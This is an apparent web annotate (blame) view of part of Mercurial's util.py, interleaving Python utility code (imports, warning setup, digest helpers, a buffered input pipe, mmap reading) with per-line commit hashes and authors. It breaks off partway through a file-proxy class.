annotate mercurial/util.py @ 41631:3d9d5e612e67

subrepo: adjust subrepo prefix before calling subrepo.archive() (API) Differential Revision: https://phab.mercurial-scm.org/D5887
author Martin von Zweigbergk <martinvonz@google.com>
date Thu, 07 Feb 2019 10:20:57 -0800
parents b141b5243b37
children ae189674bdad
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1 # util.py - Mercurial utility functions and platform specific implementations
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2 #
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3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
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4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
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5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
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6 #
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7 # This software may be used and distributed according to the terms of the
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8 # GNU General Public License version 2 or any later version.
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9
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10 """Mercurial utility functions and platform specific implementations.
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11
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12 This contains helper routines that are independent of the SCM core and
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13 hide platform-specific details from the core.
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14 """
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15
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16 from __future__ import absolute_import, print_function
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17
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18 import abc
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19 import bz2
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20 import collections
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21 import contextlib
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22 import errno
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23 import gc
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24 import hashlib
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25 import itertools
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26 import mmap
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27 import os
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28 import platform as pyplatform
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29 import re as remod
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30 import shutil
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31 import socket
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32 import stat
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33 import sys
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34 import time
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35 import traceback
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36 import warnings
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37 import zlib
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38
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39 from .thirdparty import (
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40 attr,
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41 )
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42 from hgdemandimport import tracing
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43 from . import (
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44 encoding,
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45 error,
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46 i18n,
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47 node as nodemod,
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48 policy,
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49 pycompat,
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50 urllibcompat,
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51 )
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52 from .utils import (
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53 procutil,
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54 stringutil,
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55 )
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56
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57 base85 = policy.importmod(r'base85')
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58 osutil = policy.importmod(r'osutil')
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59 parsers = policy.importmod(r'parsers')
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60
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61 b85decode = base85.b85decode
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62 b85encode = base85.b85encode
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63
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64 cookielib = pycompat.cookielib
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65 httplib = pycompat.httplib
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66 pickle = pycompat.pickle
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67 safehasattr = pycompat.safehasattr
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68 socketserver = pycompat.socketserver
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69 bytesio = pycompat.bytesio
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70 # TODO deprecate stringio name, as it is a lie on Python 3.
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71 stringio = bytesio
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72 xmlrpclib = pycompat.xmlrpclib
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73
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74 httpserver = urllibcompat.httpserver
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75 urlerr = urllibcompat.urlerr
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76 urlreq = urllibcompat.urlreq
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77
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78 # workaround for win32mbcs
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79 _filenamebytestr = pycompat.bytestr
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80
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81 if pycompat.iswindows:
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82 from . import windows as platform
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83 else:
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84 from . import posix as platform
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85
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86 _ = i18n._
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87
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88 bindunixsocket = platform.bindunixsocket
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89 cachestat = platform.cachestat
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90 checkexec = platform.checkexec
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91 checklink = platform.checklink
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92 copymode = platform.copymode
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93 expandglobs = platform.expandglobs
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94 getfsmountpoint = platform.getfsmountpoint
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95 getfstype = platform.getfstype
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96 groupmembers = platform.groupmembers
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97 groupname = platform.groupname
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98 isexec = platform.isexec
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99 isowner = platform.isowner
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100 listdir = osutil.listdir
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101 localpath = platform.localpath
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102 lookupreg = platform.lookupreg
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103 makedir = platform.makedir
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104 nlinks = platform.nlinks
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105 normpath = platform.normpath
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106 normcase = platform.normcase
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107 normcasespec = platform.normcasespec
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108 normcasefallback = platform.normcasefallback
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109 openhardlinks = platform.openhardlinks
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110 oslink = platform.oslink
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111 parsepatchoutput = platform.parsepatchoutput
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112 pconvert = platform.pconvert
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113 poll = platform.poll
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114 posixfile = platform.posixfile
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115 readlink = platform.readlink
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116 rename = platform.rename
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117 removedirs = platform.removedirs
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118 samedevice = platform.samedevice
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119 samefile = platform.samefile
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120 samestat = platform.samestat
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121 setflags = platform.setflags
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122 split = platform.split
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123 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
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124 statisexec = platform.statisexec
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125 statislink = platform.statislink
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126 umask = platform.umask
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127 unlink = platform.unlink
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128 username = platform.username
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129
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130 try:
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131 recvfds = osutil.recvfds
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132 except AttributeError:
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133 pass
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134
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135 # Python compatibility
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136
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137 _notset = object()
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Matt Mackall <mpm@selenic.com>
parents: 15611
diff changeset
138
30745
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
139 def bitsfrom(container):
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
140 bits = 0
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
141 for bit in container:
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Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
142 bits |= bit
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
143 return bits
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Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
144
31950
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
145 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
146 # to display anything to standard user so detect if we are running test and
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
147 # only use python deprecation warning in this case.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
148 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
149 if _dowarn:
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
150 # explicitly unfilter our warning for python 2.7
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
151 #
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
152 # The option of setting PYTHONWARNINGS in the test runner was investigated.
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
153 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
154 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
155 # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
158 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
36588
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
159 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
160 # silence warning emitted by passing user string to re.sub()
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
161 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
162 r'mercurial')
36699
aa9c5d447980 util: also silence py3 warnings from codec module
Augie Fackler <augie@google.com>
parents: 36631
diff changeset
163 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
aa9c5d447980 util: also silence py3 warnings from codec module
Augie Fackler <augie@google.com>
parents: 36631
diff changeset
164 DeprecationWarning, r'mercurial')
37455
9ecb7c471cfb py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents: 37382
diff changeset
165 # TODO: reinvent imp.is_frozen()
9ecb7c471cfb py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents: 37382
diff changeset
166 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
9ecb7c471cfb py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents: 37382
diff changeset
167 DeprecationWarning, r'mercurial')
31950
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
168
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
169 def nouideprecwarn(msg, version, stacklevel=1):
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Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
170 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
171
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
172 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
173 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
174 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
175 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
176 " update your code.)") % version
36128
02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents: 36038
diff changeset
177 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
178
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
179 DIGESTS = {
29342
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
180 'md5': hashlib.md5,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
181 'sha1': hashlib.sha1,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
182 'sha512': hashlib.sha512,
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
183 }
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
184 # List of digest types from strongest to weakest
27357
7f5a0bd4c9aa util: make hashlib import unconditional
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27112
diff changeset
185 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
186
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
187 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
188 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
189
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
190 class digester(object):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
191 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
192
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
193 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
194
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
195 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
196 >>> d.update(b'foo')
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
197 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
198 ['md5', 'sha1']
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
199 >>> d[b'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
200 'acbd18db4cc2f85cedef654fccc4a4d8'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
201 >>> d[b'sha1']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
202 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
203 >>> digester.preferred([b'md5', b'sha1'])
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
204 'sha1'
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
205 """
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
206
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
207 def __init__(self, digests, s=''):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
208 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
209 for k in digests:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
210 if k not in DIGESTS:
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
211 raise error.Abort(_('unknown digest type: %s') % k)
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
212 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
213 if s:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
214 self.update(s)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
215
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
216 def update(self, data):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
217 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
218 h.update(data)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
219
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
220 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
221 if key not in DIGESTS:
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
222 raise error.Abort(_('unknown digest type: %s') % k)
35582
72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35513
diff changeset
223 return nodemod.hex(self._hashes[key].digest())
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
224
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
225 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
226 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
227
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
228 @staticmethod
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
229 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
230 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
231
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
232 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
233 if k in supported:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
234 return k
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
235 return None
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
236
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
237 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
238 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
239 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
240
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
241 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
242
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
243 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
244 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
245
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
246 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
247 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
248 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
249 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
250 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
251 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
252
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
253 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
254 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
255 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
256 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
257 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
258
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
259 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
260 if self._size != self._got:
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
261 raise error.Abort(_('size mismatch: expected %d, got %d') %
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
262 (self._size, self._got))
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
263 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
264 if v != self._digester[k]:
23076
c312ef382033 i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents: 23030
diff changeset
265 # i18n: first parameter is a digest name
37096
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
266 raise error.Abort(_('%s mismatch: expected %s, got %s') %
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37095
diff changeset
267 (k, v, self._digester[k]))
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
268
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
269 try:
15657
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270 buffer = buffer
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271 except NameError:
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272 def buffer(sliceable, offset=0, length=None):
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273 if length is not None:
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274 return memoryview(sliceable)[offset:offset + length]
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275 return memoryview(sliceable)[offset:]
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276
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277 _chunksize = 4096
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278
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279 class bufferedinputpipe(object):
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280 """a manually buffered input pipe
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281
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282 Python will not let us use buffered IO and lazy reading with 'polling' at
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283 the same time. We cannot probe the buffer state and select will not detect
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284 that data are ready to read if they are already buffered.
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285
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286 This class let us work around that by implementing its own buffering
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287 (allowing efficient readline) while offering a way to know if the buffer is
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288 empty from the output (allowing collaboration of the buffer with polling).
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289
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290 This class lives in the 'util' module because it makes use of the 'os'
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291 module from the python stdlib.
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292 """
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293 def __new__(cls, fh):
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294 # If we receive a fileobjectproxy, we need to use a variation of this
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295 # class that notifies observers about activity.
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296 if isinstance(fh, fileobjectproxy):
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297 cls = observedbufferedinputpipe
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298
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299 return super(bufferedinputpipe, cls).__new__(cls)
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300
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301 def __init__(self, input):
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302 self._input = input
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303 self._buffer = []
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304 self._eof = False
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305 self._lenbuf = 0
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306
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307 @property
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308 def hasbuffer(self):
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309 """True is any data is currently buffered
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310
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311 This will be used externally a pre-step for polling IO. If there is
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312 already data then no polling should be set in place."""
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313 return bool(self._buffer)
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314
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diff changeset
315 @property
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diff changeset
316 def closed(self):
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317 return self._input.closed
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318
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319 def fileno(self):
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320 return self._input.fileno()
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diff changeset
321
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diff changeset
322 def close(self):
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323 return self._input.close()
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324
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diff changeset
325 def read(self, size):
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diff changeset
326 while (not self._eof) and (self._lenbuf < size):
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327 self._fillbuffer()
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328 return self._frombuffer(size)
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diff changeset
329
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330 def unbufferedread(self, size):
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331 if not self._eof and self._lenbuf == 0:
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diff changeset
332 self._fillbuffer(max(size, _chunksize))
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333 return self._frombuffer(min(self._lenbuf, size))
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diff changeset
334
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diff changeset
335 def readline(self, *args, **kwargs):
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parents: 39905
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336 if len(self._buffer) > 1:
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337 # this should not happen because both read and readline end with a
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338 # _frombuffer call that collapse it.
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339 self._buffer = [''.join(self._buffer)]
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diff changeset
340 self._lenbuf = len(self._buffer[0])
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diff changeset
341 lfi = -1
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342 if self._buffer:
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343 lfi = self._buffer[-1].find('\n')
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344 while (not self._eof) and lfi < 0:
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345 self._fillbuffer()
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diff changeset
346 if self._buffer:
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diff changeset
347 lfi = self._buffer[-1].find('\n')
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diff changeset
348 size = lfi + 1
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diff changeset
349 if lfi < 0: # end of file
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diff changeset
350 size = self._lenbuf
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351 elif len(self._buffer) > 1:
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352 # we need to take previous chunks into account
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diff changeset
353 size += self._lenbuf - len(self._buffer[-1])
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354 return self._frombuffer(size)
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diff changeset
355
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diff changeset
356 def _frombuffer(self, size):
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357 """return at most 'size' data from the buffer
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diff changeset
358
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diff changeset
359 The data are removed from the buffer."""
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diff changeset
360 if size == 0 or not self._buffer:
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diff changeset
361 return ''
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diff changeset
362 buf = self._buffer[0]
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diff changeset
363 if len(self._buffer) > 1:
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diff changeset
364 buf = ''.join(self._buffer)
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diff changeset
365
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diff changeset
366 data = buf[:size]
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diff changeset
367 buf = buf[len(data):]
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diff changeset
368 if buf:
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diff changeset
369 self._buffer = [buf]
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diff changeset
370 self._lenbuf = len(buf)
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diff changeset
371 else:
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diff changeset
372 self._buffer = []
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diff changeset
373 self._lenbuf = 0
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374 return data
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diff changeset
375
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diff changeset
376 def _fillbuffer(self, size=_chunksize):
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diff changeset
377 """read data to the buffer"""
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diff changeset
378 data = os.read(self._input.fileno(), size)
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diff changeset
379 if not data:
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diff changeset
380 self._eof = True
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diff changeset
381 else:
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diff changeset
382 self._lenbuf += len(data)
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diff changeset
383 self._buffer.append(data)
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diff changeset
384
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diff changeset
385 return data
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
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diff changeset
386
34295
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Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
387 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
388 try:
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Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
389 fd = getattr(fp, 'fileno', lambda: fp)()
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Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
390 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
391 except ValueError:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
392 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
393 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
394 if os.fstat(fd).st_size == 0:
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Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
395 return ''
3bb2a9f25fe9 util: add an mmapread method
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parents: 34139
diff changeset
396 raise
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
397
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diff changeset
398 class fileobjectproxy(object):
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diff changeset
399 """A proxy around file objects that tells a watcher when events occur.
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diff changeset
400
bfe38f787d5b util: add a file object proxy that can notify observers
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parents: 36432
diff changeset
401 This type is intended to only be used for testing purposes. Think hard
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parents: 36432
diff changeset
402 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers
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diff changeset
403 """
bfe38f787d5b util: add a file object proxy that can notify observers
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parents: 36432
diff changeset
404 __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
405 r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
406 r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
407 )
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
408
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
409 def __init__(self, fh, observer):
36584
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36551
diff changeset
410 object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36551
diff changeset
411 object.__setattr__(self, r'_observer', observer)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
412
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
413 def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
414 ours = {
36525
3158052720ae util: enable observing of util.bufferedinputpipe
